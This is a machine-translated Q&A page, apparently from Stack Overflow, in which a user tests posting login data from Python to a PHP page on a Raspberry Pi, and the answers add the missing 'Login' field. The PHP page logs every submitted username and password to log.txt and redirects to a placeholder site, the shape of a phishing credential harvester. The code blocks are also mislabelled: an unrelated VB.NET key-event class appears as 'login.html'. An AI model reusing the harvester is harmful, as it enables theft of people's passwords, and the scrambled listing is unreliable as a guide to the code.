我想尝试将登录详细信息从Python脚本发送到网页,该网页需要用户名和密码才能访问主站点。
我已经通过在我的Raspberry Pi上安装带有PHP的Apache服务器来建立测试环境。
我搜索了Stack Overflow,并从名为Genetics的用户那里找到了以下脚本:
login.html
Public Class Form1
Private keyHolding As Boolean = False
Private Sub Form1_KeyDown(sender As Object, e As KeyEventArgs) Handles Me.KeyDown
If Not keyHolding Then
Label1.Text &= "Keydown event detected "
keyHolding = True
'Place the code that you want to run only once in the key down event here...
Else
Label1.Text &= "User is holding the key down "
'Place the code that you want to run continuously in the key down event here...
End If
End Sub
Private Sub Form1_KeyUp(sender As Object, e As KeyEventArgs) Handles Me.KeyUp
Label1.Text &= "KeyUp event detected "
keyHolding = False
End Sub
End Class
login.php
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
我已经在Pi的/ var / www / html目录中创建了这些文件以及log.txt文件。将详细信息输入到login.html页后,它们将保存到log.txt文件中,并且所有操作均按预期进行。
我想要做的是运行一个Python 3脚本来输入这些详细信息,而实际上不必通过浏览器访问该页面。经过进一步的挖掘,我找到了以下脚本并将其更改为可访问Pi上的php页面:
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
我运行了脚本,它没有显示任何错误,但是脚本中的登录凭据未写入log.txt文件中。
这是php页面的头文件:
import requests
url = 'http://192.168.0.23/login.php'
username = 'admin'
password = 'letmein'
r = requests.post(url, allow_redirects=False, data={
'username': username,
'password': password
})
任何人都可以帮助我并向我展示如何使其按预期工作吗?
非常感谢任何帮助。
答案 0 :(得分:0)
经过多次尝试和失败之后,事实证明问题出在我发送用户名和密码,但登录按钮没有参数。
正确的代码是:
import requests
url = 'http://192.168.0.23/login.php'
username = 'admin'
password = 'letmein'
Login = 'Login'
r = requests.post(url, allow_redirects=False, data={
'username': username,
'password': password,
'Login': Login
})
第二种解决方案:
import requests
headers = {'User-Agent': 'Mozilla/5.0'}
payload = {'username':'Admin','password':'Letmein','Login':'Login'}
session = requests.Session()
session.post('http://192.168.0.23/login.php',headers=headers,data=payload)
答案 1 :(得分:0)
由于您期望将$_POST['Login']
设置为触发代码,因此必须提供一个值以使其起作用。将'Login': true
添加到您的requests.post
data
中,ti会很好用。